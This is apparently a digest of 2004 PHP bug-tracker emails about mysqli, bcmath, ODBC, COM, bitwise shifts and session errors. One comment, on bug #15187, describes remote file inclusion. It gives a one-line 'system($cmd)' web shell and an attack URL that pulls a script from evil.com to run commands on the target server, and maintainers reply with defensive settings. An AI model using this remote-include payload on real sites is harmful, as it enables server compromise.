ID: 29867 User updated by: faxe at neostrada dot pl Reported By: faxe at neostrada dot pl Status: Open Bug Type: MySQL related Operating System: Windows 5.1 32bit PHP Version: 5.0.1 New Comment: Actual Exptected fields switched their values in this Bugreport Previous Comments: [2004-08-27 15:35:41] faxe at neostrada dot pl Description: mysqli_result-fetch_array() uses MYSQLI_ASSOC as default argument. Not MYSQLI_BOTH like Documentation claims. Reproduce code: --- ?php $foo = $_mysqli-query('SELECT 1 AS bar'); $arr = $foo-fetch_array(); print_r($arr); // $arr contains only 'bar' key ? Expected result: Array ( [bar] = 1 ) Actual result: -- Array ( [0] = 1 [bar] = 1 ) -- Edit this bug report at http://bugs.php.net/?id=29867edit=1
#29869 [NEW]: Spreadsheet won't open after Saveas
From: yves_savard at uqar dot qc dot ca Operating system: Windows 2003 PHP version: 4.3.7 PHP Bug Type: IIS related Bug description: Spreadsheet won't open after Saveas Description: Installed on Windows2003, Excel 2000, with IIS, the application generate and update Spreadsheet. It creates and opens a Spreadsheet on the client computer, this allow him to save the Spreadsheet on his computer. It works on a wide variety of systes, Windows 95, Windows 98, WIndows XP and Excel 97, Excel 2000, but it doesn't work on client system where there is something named 2003 like Windows 2003 or Excel 2003. Reproduce code: --- $exapp = new COM(Excel.application) or Die (Did not connect); $file = $path_to_template.\Template_results.xls; $wkb = $exapp-Workbooks-open($file); $sheets = $wkb-Worksheets(2); #Select the sheet $cell = $sheets-Cells(1,1) ; $cell-activate; #Activate the cell $cell-value = Hi; $wkb-SaveAs($file_name); # saves sheet as $file_name $exapp-Quit(); unset($exapp); Actual result: -- The spreadsheet is generated and save on the server but is not open on the client system, which is very important because it's the only way for the application to transfer the spreadsheet from the server to the client system. -- Edit bug report at http://bugs.php.net/?id=29869edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29869r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29869r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29869r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29869r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29869r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29869r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29869r=needscript Try newer version: http://bugs.php.net/fix.php?id=29869r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29869r=support Expected behavior: http://bugs.php.net/fix.php?id=29869r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29869r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29869r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29869r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29869r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29869r=dst IIS Stability: http://bugs.php.net/fix.php?id=29869r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29869r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29869r=float
#29867 [Opn-Bgs]: mysqli_result-fetch_array() differs from Documentations
ID: 29867 Updated by: [EMAIL PROTECTED] Reported By: faxe at neostrada dot pl -Status: Open +Status: Bogus Bug Type: MySQL related Operating System: Windows 5.1 32bit PHP Version: 5.0.1 New Comment: Please do not submit the same bug more than once. An existing bug report already describes this very problem. Even if you feel that your issue is somewhat different, the resolution is likely to be the same. Thank you for your interest in PHP. This is already fixed in CVS. See bug #29335 Previous Comments: [2004-08-27 15:48:08] faxe at neostrada dot pl Actual Exptected fields switched their values in this Bugreport [2004-08-27 15:35:41] faxe at neostrada dot pl Description: mysqli_result-fetch_array() uses MYSQLI_ASSOC as default argument. Not MYSQLI_BOTH like Documentation claims. Reproduce code: --- ?php $foo = $_mysqli-query('SELECT 1 AS bar'); $arr = $foo-fetch_array(); print_r($arr); // $arr contains only 'bar' key ? Expected result: Array ( [bar] = 1 ) Actual result: -- Array ( [0] = 1 [bar] = 1 ) -- Edit this bug report at http://bugs.php.net/?id=29867edit=1
#21082 [Com]: odbc_primarykeys Access
ID: 21082 Comment by: user at example dot com Reported By: jcdavid at libertysurf dot fr Status: Bogus Bug Type: ODBC related Operating System: Win XP PHP Version: 4.2.0 New Comment: still does not work with PHP 5.0.1 and MS Access (both odbc_primarykeys() and odbc_statistics()). Please reopen Previous Comments: [2002-12-18 13:55:27] [EMAIL PROTECTED] Thank you for taking the time to report a problem with PHP. Unfortunately you are not using a current version of PHP -- the problem might already be fixed. Please download a new PHP version from http://www.php.net/downloads.php If you are able to reproduce the bug with one of the latest versions of PHP, please change the PHP version on this bug report to the version you tested and change the status back to Open. Again, thank you for your continued support of PHP. I believe this was fixed... [2002-12-18 13:28:40] jcdavid at libertysurf dot fr I cant get the primarykeys, php always return Warning: SQL error: , SQL state 0 in SQLPrimaryKeys ?php $dsn = gerhisto; $usr = ; $pwd = ; $db = gerhisto; $con = odbc_connect ($dsn,$usr,$pwd) or die (Echec de connexion sur ODBC : $dsn); $res = odbc_tables ($con) or die (Pas de tables dans $db de ODBC : $dsn); $i=0; while (odbc_fetch_row ($res)) { if (odbc_result ($res, 4)==TABLE) { $qualifiers[$i] = odbc_result ($res, 1); $owners[$i] = odbc_result ($res, 2); $tables[$i] = odbc_result ($res, 3); $types[$i] = odbc_result ($res, 4); $remarks[$i] = odbc_result ($res, 5); echo $i, Table : $tables[$i], Qualifier : $qualifiers[$i], Owner : $owners[$i], Type : $types[$i], Remarks : $remarks[$i]br; $i++; } } echo br$i tablesbrbr; for ($j=0;$j$i;$j++) { echo Clefs Primaires de .$tables[$j]; $res = odbc_primarykeys ($con, $qualifiers[$j], $owners[$j], $tables[$j]); if ($res) odbc_result_all ($res); else // == Warning: SQL error: , SQL state 0 in SQLPrimaryKeys echo (Error : .odbc_error ($con).: .odbc_errormsg ($con).BR); } odbc_close ($con); ? -- Edit this bug report at http://bugs.php.net/?id=21082edit=1
#29847 [Fbk-Opn]: bcsqrt crashes - problem reproducable
ID: 29847 User updated by: aliendesaster at hotmail dot com Reported By: aliendesaster at hotmail dot com -Status: Feedback +Status: Open Bug Type: BC math related Operating System: WinXP PHP Version: 5.0.1 New Comment: True, since I only got 56k I usually don´t update that often but the latest CVS snapshot works. Might be closed then. Thanks for your help :) Previous Comments: [2004-08-27 00:54:39] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.0-win32-latest.zip Seems to work fine with latest CVS, the result is 6.70820393249936908922752100619382 for all 3 sample codes. [2004-08-26 12:52:11] aliendesaster at hotmail dot com Description: It´s simple: bcsqrt doesn´t work at all, it´s always causing a crash unlike sqrt, which works! I dunno if bcsqrt working in other php version. I´m installed the php 5.01 win-binary version (zip) from php.net. Reproduce code: --- ?PHP bcscale(32); echo bcsqrt('45.0'); //causes crash ? or ?PHP bcscale(32); echo bcsqrt(45.0);//causes crash too ? or ?PHP bcscale(32); echo bcsqrt(45);//always crashing, yeah ? Expected result: result should be similar to what sqrt(45) returns. Actual result: -- A nice reproducable crash in apache: AppName: apache.exe AppVer: 2.0.47.0ModName: php5ts.dll ModVer: 5.0.0.0 Offset: 0008238f -- Edit this bug report at http://bugs.php.net/?id=29847edit=1
#29847 [Opn-Csd]: bcsqrt crashes - problem reproducable
ID: 29847 User updated by: aliendesaster at hotmail dot com Reported By: aliendesaster at hotmail dot com -Status: Open +Status: Closed Bug Type: BC math related Operating System: WinXP PHP Version: 5.0.1 New Comment: well, I can close myself, do I? Let´s check... Previous Comments: [2004-08-27 16:06:16] aliendesaster at hotmail dot com True, since I only got 56k I usually don´t update that often but the latest CVS snapshot works. Might be closed then. Thanks for your help :) [2004-08-27 00:54:39] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.0-win32-latest.zip Seems to work fine with latest CVS, the result is 6.70820393249936908922752100619382 for all 3 sample codes. [2004-08-26 12:52:11] aliendesaster at hotmail dot com Description: It´s simple: bcsqrt doesn´t work at all, it´s always causing a crash unlike sqrt, which works! I dunno if bcsqrt working in other php version. I´m installed the php 5.01 win-binary version (zip) from php.net. Reproduce code: --- ?PHP bcscale(32); echo bcsqrt('45.0'); //causes crash ? or ?PHP bcscale(32); echo bcsqrt(45.0);//causes crash too ? or ?PHP bcscale(32); echo bcsqrt(45);//always crashing, yeah ? Expected result: result should be similar to what sqrt(45) returns. Actual result: -- A nice reproducable crash in apache: AppName: apache.exe AppVer: 2.0.47.0ModName: php5ts.dll ModVer: 5.0.0.0 Offset: 0008238f -- Edit this bug report at http://bugs.php.net/?id=29847edit=1
#29869 [Opn-Bgs]: Spreadsheet won't open after Saveas
ID: 29869 Updated by: [EMAIL PROTECTED] Reported By: yves_savard at uqar dot qc dot ca -Status: Open +Status: Bogus Bug Type: IIS related Operating System: Windows 2003 PHP Version: 4.3.7 New Comment: Blame microsoft. Previous Comments: [2004-08-27 15:51:10] yves_savard at uqar dot qc dot ca Description: Installed on Windows2003, Excel 2000, with IIS, the application generate and update Spreadsheet. It creates and opens a Spreadsheet on the client computer, this allow him to save the Spreadsheet on his computer. It works on a wide variety of systes, Windows 95, Windows 98, WIndows XP and Excel 97, Excel 2000, but it doesn't work on client system where there is something named 2003 like Windows 2003 or Excel 2003. Reproduce code: --- $exapp = new COM(Excel.application) or Die (Did not connect); $file = $path_to_template.\Template_results.xls; $wkb = $exapp-Workbooks-open($file); $sheets = $wkb-Worksheets(2); #Select the sheet $cell = $sheets-Cells(1,1) ; $cell-activate; #Activate the cell $cell-value = Hi; $wkb-SaveAs($file_name); # saves sheet as $file_name $exapp-Quit(); unset($exapp); Actual result: -- The spreadsheet is generated and save on the server but is not open on the client system, which is very important because it's the only way for the application to transfer the spreadsheet from the server to the client system. -- Edit this bug report at http://bugs.php.net/?id=29869edit=1
#29847 [Csd-Bgs]: bcsqrt crashes - problem reproducable
ID: 29847 Updated by: [EMAIL PROTECTED] Reported By: aliendesaster at hotmail dot com -Status: Closed +Status: Bogus Bug Type: BC math related Operating System: WinXP PHP Version: 5.0.1 New Comment: Yes, but since this was actually a duplicate of a bug that was already fixed (which is why the snapsshot works for you) it should actually be marked 'Bogus'. Nothing personal about you or the bug, just part of the statistical analysis. Previous Comments: [2004-08-27 16:07:00] aliendesaster at hotmail dot com well, I can close myself, do I? Let´s check... [2004-08-27 16:06:16] aliendesaster at hotmail dot com True, since I only got 56k I usually don´t update that often but the latest CVS snapshot works. Might be closed then. Thanks for your help :) [2004-08-27 00:54:39] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.0-win32-latest.zip Seems to work fine with latest CVS, the result is 6.70820393249936908922752100619382 for all 3 sample codes. [2004-08-26 12:52:11] aliendesaster at hotmail dot com Description: It´s simple: bcsqrt doesn´t work at all, it´s always causing a crash unlike sqrt, which works! I dunno if bcsqrt working in other php version. I´m installed the php 5.01 win-binary version (zip) from php.net. Reproduce code: --- ?PHP bcscale(32); echo bcsqrt('45.0'); //causes crash ? or ?PHP bcscale(32); echo bcsqrt(45.0);//causes crash too ? or ?PHP bcscale(32); echo bcsqrt(45);//always crashing, yeah ? Expected result: result should be similar to what sqrt(45) returns. Actual result: -- A nice reproducable crash in apache: AppName: apache.exe AppVer: 2.0.47.0ModName: php5ts.dll ModVer: 5.0.0.0 Offset: 0008238f -- Edit this bug report at http://bugs.php.net/?id=29847edit=1
#15187 [Com]: PHP parses untrusted documents (or something like that ;P)
ID: 15187 Comment by: rsemmens at names dot co dot uk Reported By: tozz at kijkt dot tv Status: Bogus Bug Type: Scripting Engine problem Operating System: Linux 2.4 PHP Version: 4.1.1 New Comment: I know this is rather an old issue, but I've found a new problem with it. Several correspondents report correctly that it's a user error... However it isn't always possible to verify user code. I look after a lot of shared hosting, and I've come across this: User writes a template type page, which part way through says something like: ? if ($page) include ($page) else echo Default text; ? Intending obviously to specify something like sales.html as $page. However if a remote person writes a text file that says something like: ? system($cmd); ? And puts it on a remote server _not_ under our control you get this problem. Using the first example, evil person executes: http://embrace/index.php?page=http://www.evil.com/cmd.txtcmd=ls Now this, as you can tell, executes locally. The only way around that I can tell is by enabling safe mode, but that is not exactly ideal... It would mean disabling almost everything for all our users. Any ideas? Or is there a way of disabling remote includes? Richard. Previous Comments: [2002-01-23 15:52:48] [EMAIL PROTECTED] speaking of phpnuke... this security problem in phpnuke was reported a while back to its developers. if they havent fixed it by now blame them. [2002-01-23 15:49:50] [EMAIL PROTECTED] We can't stop developers from shooting themselves in the foot. If you want to include a remote file without parsing it locally, you would use: readfile(http://domain.com/filename;); You could of course also just use the allow_url_fopen directive in your php.ini file if you really want to turn this off. If you removed all the functions that developers could use to shoot themselves in the foot with there wouldn't be much left to do interesting things. [2002-01-23 15:42:16] tozz at kijkt dot tv It's true dat this is a 'user error', however there are scripts (e.g. phpnuke has this problem) that allows a user to enter the URL that will be included. So, your right if a script is secure you wont deal with this bug.. but I still see it as a security issue [2002-01-23 15:37:30] [EMAIL PROTECTED] This is bad programming. If you want to avoid this, you should NOT use include() for stuff on other servers, but fopen() or similar instead (which doesn't parse the data). BTW: the 'bug' in issue.php can be avoided by proper use of register_globals, safe-mode and/or normal (unix) file permissions. [2002-01-23 15:36:30] [EMAIL PROTECTED] RTFM! Include is for including PHP scripts into your PHP script. If you only want to include parsed output then do not use include. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/15187 -- Edit this bug report at http://bugs.php.net/?id=15187edit=1
#29858 [Com]: Make error
ID: 29858 Comment by: pdcuong48xd at yahoo dot com Reported By: pdcuong48xd at yahoo dot fr Status: Bogus Bug Type: Unknown/Other Function Operating System: Redhat 10 (Fedora Core 1) PHP Version: 5.0.1 New Comment: okie for your advise, but I want you to help me resolve this error. Can you tell me which version of PHP works well with which version of Apache ? and also MySQL ?. I need them to develop my web apps. Thanks for your help ! Previous Comments: [2004-08-27 09:26:38] [EMAIL PROTECTED] Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. . [2004-08-27 05:52:48] pdcuong48xd at yahoo dot fr Description: The lastest 2 error lines are : ( when I typed make ) ln: creating hard link `ctype.o' to `ctype.lo': Operation not permitted make: *** [libphp4.la] Error 1 And the same 2 lines when typed make install Can anyone help ? And one more question : Does PHP 5.0.1 work well with Apache 2.0.5 ? ( I want to use the lastest version ) Thanks very much ! -- Edit this bug report at http://bugs.php.net/?id=29858edit=1
#29848 [Opn-Bgs]: Non-existent keys evaluate to string
ID: 29848 Updated by: [EMAIL PROTECTED] Reported By: geoff at variosoft dot com -Status: Open +Status: Bogus Bug Type: Arrays related Operating System: Linux PHP Version: 4.3.8 New Comment: This is expected behavior. Given: $foo['bar']['baz'] = 'whatever'; Then the follow reference: $foo['bar']['baz']['bomb'] evaluates as: $tempvar['bomb'] (with $tempvar representing the string stored in $foo['bar']['baz']) When accessing a string using [] or {} operators, the portion inside the operators is automatically converted to an integer. The integer value of any string which does not begin with a numeric portion is always 0. Hence you have: $tempvar[0] Which represents the first character of the variable. To change this behavior would represent a major BC break. To handle this type of situation in userspace, just add an extra check: if (is_array($foo['bar']['baz']) isset($foo['bar']['baz']['bomb'])) { ... } Previous Comments: [2004-08-26 14:55:16] geoff at variosoft dot com Description: In a multi-dimensional assoc array with a depth of x, an unset key at depth x+1 evaluates unexpectedly to a string when using var_dump() - the 1st char of the array value. This means that isset() returns TRUE when testing for the unset key, which makes it hard to test for non-existence. An unset key with a depth of x+2 works as expected. This behaviour has been replicated in 4.3.8 and the 5 previous versions, all on Linux. Reproduce code: --- $foo['one']['two'] = 'test-value' ; if( isset( $foo['one']['two']['three'] ) ) { print( Unexpected isset(): evaluated to TRUEbr ) ; } else { print( Expected isset(): evaluated to FALSEbr ) ; } print( 'var_dump() output (expecting NULL):br' ) ; var_dump( $foo['one']['two']['three'] ) ; Expected result: As I am testing for an unset key, I expected isset() to return FALSE, and var_dump() to return NULL. Actual result: -- In fact, isset() returns TRUE. var_dump() gives a clue as to what is going on: it returns the first character of the key's value string. For unset keys of a depth of x + 2, isset() returns FALSE and var_dump() returns NULL, as expected. -- Edit this bug report at http://bugs.php.net/?id=29848edit=1
#29224 [Com]: DB Error: extension not found
ID: 29224 Comment by: at989 at earthlink dot net Reported By: marcschroeder at hotmail dot com Status: Bogus Bug Type: *Configuration Issues Operating System: Microsoft Windows XP PHP Version: 5.0.0 New Comment: I think this is a IIS problem, not PHP. I had the same thing several times, and each time it goes away after I tweak something in IIS. I changed the dll to which the php extension is maped to see if I got a similar message or not (to see if this was indeed a php or iis problem). I got module not found message. After I restored the mapping, everything worked fine :-/ I have no idea why this happened. But i hope this will help someone who knows more about iis to figure this out. Previous Comments: [2004-08-23 18:31:01] bentrafford at yahoo dot com Make that six users with the same problem. I've searched the bug database, the net, newsgroups, and found no resolution to this issue, other than PHP developers declaring it bogus. Well, I've got my path updated, and the following set in my php.ini: extension_dir = .;c:/php/ext/ I'm still getting the same issue as described above. This is either a bug with PHP or a bug with the documentation. [2004-08-03 00:58:50] marcschroeder at hotmail dot com Who set the status to 'Bogus'? Why? I pretended that the current installation of PHP 5.0.0. does not install PEAR DB? 5 users claimed that they could reproduce the bug. The suggested solutions consisted in moving files around on a computer to places where it might work. The solutions only claim to solve the problem, but do not claim that there is no problem. Somebody else suggests that I change the system path. But I did add the following system variables already: PHP_PEAR_SYSCONF_DIR=C:\\php PHP_PEAR_INSTALL_DIR=C:\\php\\pear PHP_PEAR_DOC_DIR=C:\\php\\pear\\docs PHP_PEAR_BIN_DIR=C:\\php PHP_PEAR_DATA_DIR=C:\\php\\pear\\data PHP_PEAR_PHP_BIN=C:\\php\\php.exe PHP_PEAR_TEST_DIR=C:\\php\\pear\\tests Do these environment variables have no effect? I start to believe that PHP is a tool for hackers only, and that the need of a controlled installation procedure is not present in the mind of the PHP community. This is really sad, as I like PHP a lot. [2004-08-02 14:02:47] dinojazz at hotmail dot com I am having the issues as well. My php_mysql.dll is located in c:\php and php.ini knows this. I've moved libmysql.dll to c:\windows\system32 as well. On top of this all, the extension=php_mysql.dll in php.ini has been uncommented. Yet, I get errors when I try to have mysql/php things loaded in my webpage. It comes up with 'Unable to load dynamic library 'c:\php\php_mysql.dll\' - The specified procedure could not be found'. I've tried the suggestions like php_mysql.dll to c:\windows\system32 and all the stuff. Even moved libmysql.dll to various places, but nothing worked. I am kind of stumped here, looks like there's some heavy bug in there. [2004-08-02 11:24:40] [EMAIL PROTECTED] Either add c:\php to your system path, or copy all dlls from that folder to system32. [2004-08-02 00:36:20] tipsen at imada dot sdu dot dk I solved the problem by copying the file libmysql.dll from the php5 root to the win/system32 library - I have no idea why this works but stumpled upon the suggestion on a website! Regards, Tommy Ipsen The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/29224 -- Edit this bug report at http://bugs.php.net/?id=29224edit=1
#29631 [Fbk-NoF]: apache_get_modules() crashes apache
ID: 29631 Updated by: [EMAIL PROTECTED] Reported By: fixxxer at php5 dot ru -Status: Feedback +Status: No Feedback Bug Type: Reproducible crash Operating System: WinXP PHP Version: 5CVS-2004-08-12 (dev) New Comment: No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. Previous Comments: [2004-08-12 15:45:21] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. [2004-08-12 15:40:09] fixxxer at php5 dot ru Description: apache_get_modules() crashes apache1.3.31 Reproduce code: --- ? apache_get_modules() ? Expected result: list of modules Actual result: -- apache segfaults -- Edit this bug report at http://bugs.php.net/?id=29631edit=1
#29873 [NEW]: PHP compilation failed under Cygwin with pcntl (source error?)
From: tv2knet at gmail dot com Operating system: Windows (Cygwin) PHP version: 5.0.1 PHP Bug Type: Compile Failure Bug description: PHP compilation failed under Cygwin with pcntl (source error?) Description: PHP compiles fine under Cygwin (latest version) but when I add --with-pcntl it fails. I'm sure that compilation of pcntl under cygwin should work. This is the errormsg during make: ext/pcntl/pcntl.o(.data+0xf4): In function `php_register_signal_constants': /src/php-5.0.1/ext/pcntl/pcntl.c:102: undefined reference to `_zif_pcntl_getpriority' ext/pcntl/pcntl.o(.data+0x108):/src/php-5.0.1/ext/pcntl/pcntl.c:102: undefined reference to `_zif_pcntl_setpriority' collect2: ld returned 1 exit status make: *** [sapi/cgi/php.exe] Error 1 Reproduce code: --- ./configure --with-pcntl Expected result: make works Actual result: -- Error on compilation -- Edit bug report at http://bugs.php.net/?id=29873edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29873r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29873r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29873r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29873r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29873r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29873r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29873r=needscript Try newer version: http://bugs.php.net/fix.php?id=29873r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29873r=support Expected behavior: http://bugs.php.net/fix.php?id=29873r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29873r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29873r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29873r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29873r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29873r=dst IIS Stability: http://bugs.php.net/fix.php?id=29873r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29873r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29873r=float
#29874 [NEW]: Bitwise right shift operator produces incorrect result.
From: binhqx at mac dot com Operating system: OS X Server 10.3 (Darwin 7.5.0) PHP version: Irrelevant PHP Bug Type: *Math Functions Bug description: Bitwise right shift operator produces incorrect result. Description: Bitwise right shift operator produces incorrect result when applied to a double in all version of PHP on OS X. During a bitwise right shift, the php processor casts the operand Reproduce code: --- $operand = 8726521066; echo ($operand 10); Expected result: 133385 Actual result: -- -1 -- Edit bug report at http://bugs.php.net/?id=29874edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29874r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29874r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29874r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29874r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29874r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29874r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29874r=needscript Try newer version: http://bugs.php.net/fix.php?id=29874r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29874r=support Expected behavior: http://bugs.php.net/fix.php?id=29874r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29874r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29874r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29874r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29874r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29874r=dst IIS Stability: http://bugs.php.net/fix.php?id=29874r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29874r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29874r=float
#29874 [Opn]: Bitwise right shift operator produces incorrect result.
ID: 29874 User updated by: binhqx at mac dot com Reported By: binhqx at mac dot com Status: Open Bug Type: *Math Functions Operating System: OS X Server 10.3 (Darwin 7.5.0) PHP Version: Irrelevant New Comment: Original description was cutoff: Bitwise right shift operator produces incorrect result when applied to a double in all version of PHP on OS X. During a bitwise right shift, the php processor casts the operand to a integer. Most of the time this works fine, but when the value of the operand is greater the 32 bits, the variable is chopped to just the last 32 bits. This is the way it should work. For example: 136586474 10 becomes 133385 Under OS X Server, this casting procedure does not work the same way. When value of the operand is greater then 32 bits, the variable is changed to the largest posable value of a integer (2^32). Because all integers are signed this is -1. 8726521066 10 becomes -1 I have tested the the shift operator on Linux using PHP 4.1.2 - 4.3.4 and it produces the correct results. On OS X/OS X Server (Darwin 7.5.0) using PHP 4.3.2 - 5.0.1 and it produces the incorrect results. It would appear the bug only exists in the OS X port of PHP. Examples: Testing OS X Server: http://worldvoicellc.net/ bitshift_test.php Testing Linux: http://12.160.216.20/altigen/phptest/ bitshift_test.php Testing code: http://worldvoicellc.net/bitshift_test.txt Previous Comments: [2004-08-28 06:27:42] binhqx at mac dot com Description: Bitwise right shift operator produces incorrect result when applied to a double in all version of PHP on OS X. During a bitwise right shift, the php processor casts the operand Reproduce code: --- $operand = 8726521066; echo ($operand 10); Expected result: 133385 Actual result: -- -1 -- Edit this bug report at http://bugs.php.net/?id=29874edit=1
#29874 [Opn]: Bitwise right shift operator produces incorrect result.
ID: 29874 User updated by: binhqx at mac dot com Reported By: binhqx at mac dot com Status: Open Bug Type: *Math Functions Operating System: OS X Server 10.3 (Darwin 7.5.0) PHP Version: Irrelevant New Comment: I did some more searching through the bug archive and found many bugs pertaining to logic operator and doubles. Before I get redirected to one of those, I would like to emphasize that this is not a problem with the value being produced. The problem is the same operation is producing different results on different platforms. Previous Comments: [2004-08-28 06:35:30] binhqx at mac dot com Original description was cutoff: Bitwise right shift operator produces incorrect result when applied to a double in all version of PHP on OS X. During a bitwise right shift, the php processor casts the operand to a integer. Most of the time this works fine, but when the value of the operand is greater the 32 bits, the variable is chopped to just the last 32 bits. This is the way it should work. For example: 136586474 10 becomes 133385 Under OS X Server, this casting procedure does not work the same way. When value of the operand is greater then 32 bits, the variable is changed to the largest posable value of a integer (2^32). Because all integers are signed this is -1. 8726521066 10 becomes -1 I have tested the the shift operator on Linux using PHP 4.1.2 - 4.3.4 and it produces the correct results. On OS X/OS X Server (Darwin 7.5.0) using PHP 4.3.2 - 5.0.1 and it produces the incorrect results. It would appear the bug only exists in the OS X port of PHP. Examples: Testing OS X Server: http://worldvoicellc.net/ bitshift_test.php Testing Linux: http://12.160.216.20/altigen/phptest/ bitshift_test.php Testing code: http://worldvoicellc.net/bitshift_test.txt [2004-08-28 06:27:42] binhqx at mac dot com Description: Bitwise right shift operator produces incorrect result when applied to a double in all version of PHP on OS X. During a bitwise right shift, the php processor casts the operand Reproduce code: --- $operand = 8726521066; echo ($operand 10); Expected result: 133385 Actual result: -- -1 -- Edit this bug report at http://bugs.php.net/?id=29874edit=1
#21306 [Com]: warnning about cannot change the session settings
ID: 21306 Comment by: NOSPAMdr_lucas at hotmail dot com Reported By: Xuefer at 21cn dot com Status: No Feedback Bug Type: Session related Operating System: linux PHP Version: 4.3.0 New Comment: Hello, I am using oscommerce version 2.2 MS2 on: HTTP Server:Apache/1.3.31 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2634a mod_ssl/2.8.19 OpenSSL/0.9.7a PHP Version:4.3.8 (Zend: 1.3.0) I am having the same exact problem. Watching my error.log shows many occurances of this error message: [27-Aug-2004 08:17:23] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:24] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:24] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:25] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:26] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:45] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:46] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:46] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:47] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:47] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:15] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:15] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:16] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:17] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:17] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:27] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:28] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:29] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 